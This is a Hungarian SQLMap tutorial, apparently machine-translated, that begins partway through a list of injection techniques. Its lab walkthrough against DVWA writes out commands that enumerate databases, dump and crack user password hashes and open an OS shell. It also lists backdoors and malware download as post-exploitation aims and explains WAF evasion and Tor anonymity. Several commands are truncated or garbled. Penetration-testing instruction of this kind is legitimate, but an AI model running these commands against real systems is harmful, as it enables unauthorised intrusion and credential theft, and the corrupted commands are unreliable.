   • Az SQLMap SQL utasításokat használ, amelyek tartásba helyezik az adatbázist, hogy egy meghatározott ideig visszatérjen.
   • Ugyanazt a felező algoritmust használva a karakterenkénti kimenethez, az SQLMap összehasonlítja a HTTP válaszidőt az eredeti kéréssel.
3. Hibaalapú SQL-befecskendezés
   • Az SQLMap SQL utasításokat használ, amelyek specifikus hibákat okozhatnak.
   • A segédprogram hibákat keres a kiszolgáló HTTP-válaszában.
   • Ez a módszer csak akkor működik, ha a webalkalmazás hibaüzenetek közzétételére van beállítva.
4. UNION Query
   • Input SQL utasítás UNION ALL SELECT .
   • Az UNION lekérdezéseken alapuló SQL-injektálás az alkalmazás viselkedése alapján működik, pl. amikor az alkalmazás továbbítja az írás eredményét SELECT lekérdezés egy adott cikluson vagy utasítássoron keresztül, amely lehetővé teszi a kimenet írását az oldal tartalmához.
   • Abban az esetben, ha a kimenet nincs hurkon keresztül hurkolva számára vagy más utasítássorozatot, az SQLMap egyszeri UNION lekérdezés-injektálást használ.
5. Halmozott lekérdezés
   • Hajtogatott lekérdezések használata. Az SQLMap pontosvesszőt (;) ad hozzá az érintett paraméter értékéhez, és hozzáadja az utasítást SQL, amit végre kell hajtani.
   • Ezzel a technikával a SELECT-től eltérő SQL utasításokat is végrehajthat. Ez hasznos az adatok manipulálásához, olvasási és írási hozzáféréshez, és végül az operációs rendszer általi rögzítéshez.
6. Zenekaron kívüli
   • Ez a módszer egy másodlagos vagy más kommunikációs csatornát használ az érintett alkalmazásban futtatott lekérdezések eredményeinek kimenetére.
   • Például a beillesztés egy webalkalmazásban és egy másodlagos csatornában történik, mint pl DNS-lekérdezések, az adatok visszaküldésére szolgál a támadó tartományába.

Az SQLMap alapvető használata.

Indítsa el a segédprogramot (a változóban kell lennieÚTVONAL ):

$sqlmap

Vagy a segédprogramok könyvtárából:

$python sqlmap.py

A kulcs a dokumentáció lehívására szolgál «- h / — Segítség »:

$ sqlmap --help $ python sqlmap.py –help

Az SQLMap kulcsok műveletei teljes mértékben attól függnek, hogy a támadó pontosan mit akar elérni. Az SQLMap műveletek alapvető listája így néz ki:

• Sorolja fel az adatbázis-információkat, például a nevet, a verziót és egyéb részleteket.
• Válasszon ki egy adott adatbázist az abban található táblák információinak felsorolásához.
• Válassza ki a táblázatot, és sorolja fel az oszlop adatait.
• Válasszon ki egy oszlopot, és listázza ki a sorokat az értékük lekéréséhez.
• További kizsákmányolás.

Gyakorlat.

Gyakorlati oktatásunkhoz felhasználjuk Átkozott Sebezhető Web Alkalmazás (DVWA vagy „Átkozottul sebezhető webalkalmazás”).

DVWA – egy ingyenes webalkalmazás, amely olyan technológiákra épül, mint a PHP és a MySQL, és a tesztelési készségek képzésére szolgál.

Most már csak az injekciók érdekelnek minket, de általánosságban elmondható, hogy tesztelheti képességeit más, a hivatalos alapján létrehozott sebezhetőségekben. OWASP TOP -10 .

P.S.: Ez a gyakorlat feltételezi, hogy rendelkezik tudással Linux alapok , belépő szintű angol nyelv valamint a Google használatának képessége (ha nem rendelkezik a fenti készségekkel).

Telepítés:

• Töltse le az alkalmazást, és kövesse az utasításokat;
• Módosítsa a nehézségi szintet LOW-ra;
• Minket csak az „SQL Injection” lapok érdekelnek;

Kiinduló adatok:

• Webszerver magánhálózaton
• Sebezhető URL: http:// a te — házigazda . com /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
• Sebezhető paraméter: id

Tehát kezdjük:

1. Megerősítjük az elérhetőségetSQL injekciók:

./sqlmap.py --url=”http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie="security=low; PHPSESSID=e8495b45

A parancs magyarázata:

— url – URL a feltételezett sebezhető paraméterrel. Fontos megjegyezni, hogy ennek a kulcsnak a változója idézőjelbe van írva, mert Az ellenőrzött URL egynél több átadott paramétert tartalmaz. Ellenkező esetben figyelmen kívül hagyhatja az idézőjeleket, és a kulcs rövid változatát használhatja “- u ” egyenlőségjel nélkül .

- cookie – Munkamenet cookie a közvetlen hozzáféréshez támadás során (opcionális kulcs).

Következtetés:

Elemzés:

• Az alkalmazás sebezhető az SQL injekcióval szemben
• Befecskendezés típusa – UNION Query
• Háttér adatbázis (DBMS) – MySQL5
• Az operációs rendszer műszaki adatai - Linux Ubuntu 8.04, PHP 5.2.4, Apache 2.2.8

1. Felsoroljuk az adatbázisok neveit:

./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab3b50"425ab3b58

A parancs magyarázata:

—dbs – kulcs az elérhető adatbázisok listázásához.

Következtetés:

Elemzés: Az SQLMap felsorolta az elérhető adatbázisokat (összesen 7).

1. Felsoroljuk a táblák nevét (DB -dvwa ):

./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e849-table

A parancs magyarázata:

-D – Adja meg a minket érdeklő adatbázist.

--tables – Sorolja fel az adatbázisban elérhető táblákat.

Következtetés:

Elemzés: Amint látjuk, az SQLMap sikeresen felsorolta 2 tábla nevét az adatbázisban dvwa .

1. A táblázat oszlopneveinek további felsorolása "felhasználókat ”:

./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab18v5ee" -T48 felhasználók – oszlopok

A parancs magyarázata:

-T – Jelölje meg a minket érdeklő táblázatot.

—oszlopok – Sorolja fel a táblázat elérhető oszlopait.

Következtetés:

Elemzés: Amint látjuk, az SQLMap sikeresen felsorolta a táblázat 6 oszlopának nevét felhasználókat, bd dvwa .

1. Az értékeket listázzuk/lehúzzuk a táblázatbólfelhasználókat ”:

./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab18v5ee" -T48 users -C user_id,user,password --dump

A parancs magyarázata:

C – Jelölje meg a minket érdeklő oszlopokat.

--dump – Értékek kiírása a felsorolt ​​oszlopokból.

Következtetés:

Elemzés: Az SQLMap válasza alapján a következő pontokat jegyezzük meg:

• Az SQLMap lekéri a rekordokat a megadott oszlopokból, majd elemzi az ezekben az oszlopokban található adatokat.
• Amint az adatokat lehetséges jelszókivonatként ismeri fel, az SQLMap különféle kivonatolási algoritmusok segítségével megpróbálja feltörni a hash-t.
• Ebben az esetben a hash MD5, tehát az eszköz által használt legelső hash technikával sikeresen feltöri a hash-eket és jól formázott választ ad.
• Ezenkívül az eszköz a felsorolt ​​bejegyzéseket „.csv” fájlformátumban menti későbbi felhasználás céljából; Tehát nem kell adatokat feltöltenie ide szöveges fájl vagy készíts egy képernyőképet, az SQLMap gondoskodik róla.

1. A szerver további kihasználása és átvétele (ÁSPISKÍGYÓ. , nem tartalmazzaDVWA ):

./sqlmap.py --url="http://192.168.152.129/login.asp" --data="txtLoginID=shrikant&txtPassword=password&cmdSubmit=Login" --os-shell

A parancs magyarázata:

—data – Adja meg a POST kérésben elküldött tesztelési paramétereket.

—os —shell – Speciális kulcs a szerverkonzol SQL-befecskendezéssel történő kihasználására.

Következtetés:

Elemzés: Az SQLMap válasza alapján a következő pontokat jegyezzük meg:

• Az SQL injekció megerősítése és kihasználása után az SQLMap ellenőrzi, hogy a felhasználó DBA (adatbázis-adminisztrátor)-e.
• Ezt követően az eszköz megpróbált egy kiterjesztett tárolt eljárást használni - "xp_cmdshell", amelyet általában használnak. SQL Server 2000.
• Az "xp_cmdshell" egy adott feladat végrehajtására szolgál parancssor csapatként operációs rendszer. Az eredményt viszont szabványos szövegként adja ki.

A mélyebb szintű rendszer-hozzáférés előnyei:

• Hozzáférés a felhasználói hitelesítő adatokhoz vagy jelszókivonatokhoz.
• Egy interaktív shell, amely lehetővé teszi a fájlok feltöltését vagy letöltését a szerverről.
• Futtasson tengelyparancsokat (OS) a belső hálózat felfedezéséhez.
• Lehetőség rosszindulatú programok letöltésére.
• További hasznosítás a Metasploit Framework segítségével.
• Hátsó ajtók készítése, feltöltése.

A legjobb gyakorlatok és a fejlett használat.

1. SQLMap ÉsSZAPPAN (Egyszerű Objektum Hozzáférés Jegyzőkönyv ) kéri: A SOAP kérések elemzésének folyamata meglehetősen egyszerű:
   • Rögzítse a SOAP kérését.
   • Szövegfájlba mentése az esetleges sebezhető paraméterekkel együtt.
   • Ha ismeri a sebezhető paramétert, használja az alábbi parancsot az SQLMaphez a -p kapcsolóval együtt:

$ ./sqlmap.py -r So_request.txt -p

• Az SQLMap automatikusan elemzi a SOAP kérést, és megpróbál behatolni a sebezhető paraméterbe.

1. SQLMap ÉsJSON (JavaScript Objektum Jelölés ) kéri: Az SQLMap SOAP-lekérdezésekhez való használatához hasonló forgatókönyvekben a JSON-lekérdezések is elemezhetők és kihasználhatók. JSON-lekérdezéstípus esetén az SQLMap felkéri Önt a biztonsági rés kihasználására úgy, hogy észleli a JSON-lekérdezés típusát a „lekérdezési fájlban”. Ha igennel válaszol, az eszköz elemzi a kérést, és kiválasztja a saját támadási vektorát.
2. SQLMap és proxy szerver: A vállalati típusú hálózatok általában vezérelt proxykkal vannak védve és felügyelve minden bejövő és kimenő forgalomhoz. Ilyen esetekben lehetősége van proxybeállítást közvetlenül az SQLMap beállításhoz hozzáadni a cél URL-lel való kommunikációhoz. Bár az SQLMap egy parancssori eszköz, HTTP protokollon keresztül kommunikál, ezért ha HTTP-proxyt állít be a megfelelő internetkapcsolathoz, az SQLMap ezt veszi alapul:

$ ./sqlmap.py --proxy=http:// :

1. SQLMap ÉsWAF (Web Alkalmazás Tűzfal ): A WAF egy további védelmi réteg a webes alkalmazások számára, jelentősen bonyolítva az SQLMap szabványos módszereivel végzett elemzést és működést. Erre a célra van egy „szabotázs-script” funkció, amely nagymértékben leegyszerűsíti a WAF mögött található webalkalmazásokkal való munkát.
2. SQLMap és anonimitás: Ha el akarja rejteni személyazonosságát, és névtelennek kívánja mutatni magát a célalkalmazás számára, használhatja a TOR (The Onion Router) proxyszervert. Az SQLMap programban beállíthatja a TOR proxyt, hogy elrejtse a forrást, amelyből a forgalom vagy a kérés létrejön, a következő kulcsokkal:
   • — tor – a segédprogram átkapcsolása TOR proxy módba.
   • — — tor — típus – a TOR proxy protokoll kézi konfigurálása (HTTP /SOCKS 4/4a /5).
   • — — ellenőrzés — tor – a TOR proxy működőképességének ellenőrzése